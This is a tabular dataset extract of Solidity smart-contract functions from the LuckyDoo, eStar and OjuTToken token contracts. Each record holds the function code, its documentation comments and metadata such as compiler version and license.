contract_name
stringlengths
1
61
file_path
stringlengths
5
50.4k
contract_address
stringlengths
42
42
language
stringclasses
1 value
class_name
stringlengths
1
61
class_code
stringlengths
4
330k
class_documentation
stringlengths
0
29.1k
class_documentation_type
stringclasses
6 values
func_name
stringlengths
0
62
func_code
stringlengths
1
303k
func_documentation
stringlengths
2
14.9k
func_documentation_type
stringclasses
4 values
compiler_version
stringlengths
15
42
license_type
stringclasses
14 values
swarm_source
stringlengths
0
71
meta
dict
__index_level_0__
int64
0
60.4k
LuckyDoo
LuckyDoo.sol
0x78734a327b6d84b44c358cc42b2416967fe7a819
Solidity
LuckyDoo
contract LuckyDoo is IERC20, Ownable { using Address for address; using SafeMath for uint256; IRouter public uniswapV2Router; address public immutable uniswapV2Pair; string private constant _name = "Lucky Doo"; string private constant _symbol = "DOO"; uint8 private constant _decimals = 18; mappin...
transfer
function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; }
// Setters
LineComment
v0.8.13+commit.abaa5c0e
MIT
ipfs://3084574085aba8adf8bd6fa057454a217e2339c100aff7233b3e43e668854fbd
{ "func_code_index": [ 5870, 6026 ] }
1,307
LuckyDoo
LuckyDoo.sol
0x78734a327b6d84b44c358cc42b2416967fe7a819
Solidity
LuckyDoo
contract LuckyDoo is IERC20, Ownable { using Address for address; using SafeMath for uint256; IRouter public uniswapV2Router; address public immutable uniswapV2Pair; string private constant _name = "Lucky Doo"; string private constant _symbol = "DOO"; uint8 private constant _decimals = 18; mappin...
setBaseFeesOnBuy
function setBaseFeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner { _setCustomBuyTaxPeriod(_base, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); emit FeeChange('baseFees-B...
// Base fees
LineComment
v0.8.13+commit.abaa5c0e
MIT
ipfs://3084574085aba8adf8bd6fa057454a217e2339c100aff7233b3e43e668854fbd
{ "func_code_index": [ 11245, 11668 ] }
1,308
LuckyDoo
LuckyDoo.sol
0x78734a327b6d84b44c358cc42b2416967fe7a819
Solidity
LuckyDoo
contract LuckyDoo is IERC20, Ownable { using Address for address; using SafeMath for uint256; IRouter public uniswapV2Router; address public immutable uniswapV2Pair; string private constant _name = "Lucky Doo"; string private constant _symbol = "DOO"; uint8 private constant _decimals = 18; mappin...
setLaunch2FeesOnBuy
function setLaunch2FeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner { _setCustomBuyTaxPeriod(_launch2, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); emit FeeChange('launc...
//Launch2 Fees
LineComment
v0.8.13+commit.abaa5c0e
MIT
ipfs://3084574085aba8adf8bd6fa057454a217e2339c100aff7233b3e43e668854fbd
{ "func_code_index": [ 12129, 12560 ] }
1,309
LuckyDoo
LuckyDoo.sol
0x78734a327b6d84b44c358cc42b2416967fe7a819
Solidity
LuckyDoo
contract LuckyDoo is IERC20, Ownable { using Address for address; using SafeMath for uint256; IRouter public uniswapV2Router; address public immutable uniswapV2Pair; string private constant _name = "Lucky Doo"; string private constant _symbol = "DOO"; uint8 private constant _decimals = 18; mappin...
setLaunch3FeesOnBuy
function setLaunch3FeesOnBuy(uint8 _liquidityFeeOnBuy, uint8 _marketingFeeOnBuy, uint8 _devFeeOnBuy, uint8 _buyBackFeeOnBuy, uint8 _holdersFeeOnBuy) external onlyOwner { _setCustomBuyTaxPeriod(_launch3, _liquidityFeeOnBuy, _marketingFeeOnBuy, _devFeeOnBuy, _buyBackFeeOnBuy, _holdersFeeOnBuy); emit FeeChange('launch...
//Launch3 Fees
LineComment
v0.8.13+commit.abaa5c0e
MIT
ipfs://3084574085aba8adf8bd6fa057454a217e2339c100aff7233b3e43e668854fbd
{ "func_code_index": [ 13027, 13457 ] }
1,310
LuckyDoo
LuckyDoo.sol
0x78734a327b6d84b44c358cc42b2416967fe7a819
Solidity
LuckyDoo
contract LuckyDoo is IERC20, Ownable { using Address for address; using SafeMath for uint256; IRouter public uniswapV2Router; address public immutable uniswapV2Pair; string private constant _name = "Lucky Doo"; string private constant _symbol = "DOO"; uint8 private constant _decimals = 18; mappin...
name
function name() external view returns (string memory) { return _name; }
// Getters
LineComment
v0.8.13+commit.abaa5c0e
MIT
ipfs://3084574085aba8adf8bd6fa057454a217e2339c100aff7233b3e43e668854fbd
{ "func_code_index": [ 15930, 16008 ] }
1,311
LuckyDoo
LuckyDoo.sol
0x78734a327b6d84b44c358cc42b2416967fe7a819
Solidity
LuckyDoo
contract LuckyDoo is IERC20, Ownable { using Address for address; using SafeMath for uint256; IRouter public uniswapV2Router; address public immutable uniswapV2Pair; string private constant _name = "Lucky Doo"; string private constant _symbol = "DOO"; uint8 private constant _decimals = 18; mappin...
_transfer
function _transfer( address from, address to, uint256 amount ) internal { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); require(amount <= balanceOf(from...
// Main
LineComment
v0.8.13+commit.abaa5c0e
MIT
ipfs://3084574085aba8adf8bd6fa057454a217e2339c100aff7233b3e43e668854fbd
{ "func_code_index": [ 18407, 20391 ] }
1,312
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
IBEP20
interface IBEP20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the BEP20 standard as defined in the EIP. */
NatSpecMultiLine
totalSupply
function totalSupply() external view returns (uint256);
/** * @dev Returns the amount of tokens in existence. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 94, 154 ] }
1,313
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
IBEP20
interface IBEP20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the BEP20 standard as defined in the EIP. */
NatSpecMultiLine
balanceOf
function balanceOf(address account) external view returns (uint256);
/** * @dev Returns the amount of tokens owned by `account`. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 237, 310 ] }
1,314
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
IBEP20
interface IBEP20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the BEP20 standard as defined in the EIP. */
NatSpecMultiLine
transfer
function transfer(address recipient, uint256 amount) external returns (bool);
/** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 534, 616 ] }
1,315
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
IBEP20
interface IBEP20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the BEP20 standard as defined in the EIP. */
NatSpecMultiLine
allowance
function allowance(address owner, address spender) external view returns (uint256);
/** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 895, 983 ] }
1,316
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
IBEP20
interface IBEP20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the BEP20 standard as defined in the EIP. */
NatSpecMultiLine
approve
function approve(address spender, uint256 amount) external returns (bool);
/** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate ...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 1647, 1726 ] }
1,317
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
IBEP20
interface IBEP20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /**...
/** * @dev Interface of the BEP20 standard as defined in the EIP. */
NatSpecMultiLine
transferFrom
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 2039, 2141 ] }
1,318
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns ...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
add
function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; }
/** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 259, 445 ] }
1,319
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns ...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
sub
function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); }
/** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 723, 864 ] }
1,320
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns ...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
sub
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; }
/** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 1162, 1359 ] }
1,321
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns ...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
mul
function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; ...
/** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 1613, 2089 ] }
1,322
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns ...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
div
function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); }
/** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to reve...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 2560, 2697 ] }
1,323
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns ...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
div
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; }
/** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an in...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 3188, 3471 ] }
1,324
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns ...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
mod
function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); }
/** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consumi...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 3931, 4066 ] }
1,325
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
SafeMath
library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns ...
/** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming la...
NatSpecMultiLine
mod
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; }
/** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcod...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 4546, 4717 ] }
1,326
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
isContract
function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codeha...
/** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: ...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 606, 1230 ] }
1,327
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
sendValue
function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address...
/** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `tr...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 2160, 2562 ] }
1,328
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCall
function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); }
/** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw ...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 3318, 3496 ] }
1,329
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCall
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 3721, 3922 ] }
1,330
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCallWithValue
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); }
/** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ *...
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 4292, 4523 ] }
1,331
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
Address
library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will ...
/** * @dev Collection of functions related to the address type */
NatSpecMultiLine
functionCallWithValue
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); }
/** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 4774, 5095 ] }
1,332
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
Ownable
contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSend...
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. ...
NatSpecMultiLine
owner
function owner() public view returns (address) { return _owner; }
/** * @dev Returns the address of the current owner. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 497, 581 ] }
1,333
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
Ownable
contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSend...
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. ...
NatSpecMultiLine
renounceOwnership
function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); }
/** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 1139, 1292 ] }
1,334
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
Ownable
contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSend...
/** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. ...
NatSpecMultiLine
transferOwnership
function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; }
/** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */
NatSpecMultiLine
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 1442, 1691 ] }
1,335
eStar
eStar.sol
0x39b00bdd39c4a1e6743a3f904816778db7e26904
Solidity
eStar
contract eStar is Context, IBEP20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; //added now ma...
setBot
function setBot(address blist) external onlyOwner returns (bool){ bot[blist] = !bot[blist]; return bot[blist]; }
//added this
LineComment
v0.6.12+commit.27d51765
None
ipfs://1051aaff48b7b4e02a758ed6aa94343c9f56e6b6ad3a5c13d12010f8a064acf4
{ "func_code_index": [ 3869, 4009 ] }
1,336
OjuTToken
OjuTToken.sol
0x659338df9010de4dadb0bc33d6485d33b2155b06
Solidity
OjuTToken
contract OjuTToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; address public ownerAddress; uint8 public decimals; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; mapping(addre...
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
LineComment
totalSupply
function totalSupply() public constant returns (uint) { return totalSupply - balances[address(0)]; }
// ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------
LineComment
v0.4.24+commit.e67f0147
bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f
{ "func_code_index": [ 1058, 1177 ] }
1,337
OjuTToken
OjuTToken.sol
0x659338df9010de4dadb0bc33d6485d33b2155b06
Solidity
OjuTToken
contract OjuTToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; address public ownerAddress; uint8 public decimals; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; mapping(addre...
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
LineComment
balanceOf
function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; }
// ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------
LineComment
v0.4.24+commit.e67f0147
bzzr://54425f3c2728488ac4244ef0e4cfa171861019c7e4aefa851450b5288a35f77f
{ "func_code_index": [ 1397, 1526 ] }
1,338
OjuTToken
OjuTToken.sol
0x659338df9010de4dadb0bc33d6485d33b2155b06
Solidity
OjuTToken
contract OjuTToken is ERC20Interface, Owned, SafeMath { string public symbol; string public name; address public ownerAddress; uint8 public decimals; uint public totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; mapping(addre...
// ---------------------------------------------------------------------------- // ERC20 Token, with the addition of symbol, name and decimals and assisted // token transfers // ----------------------------------------------------------------------------
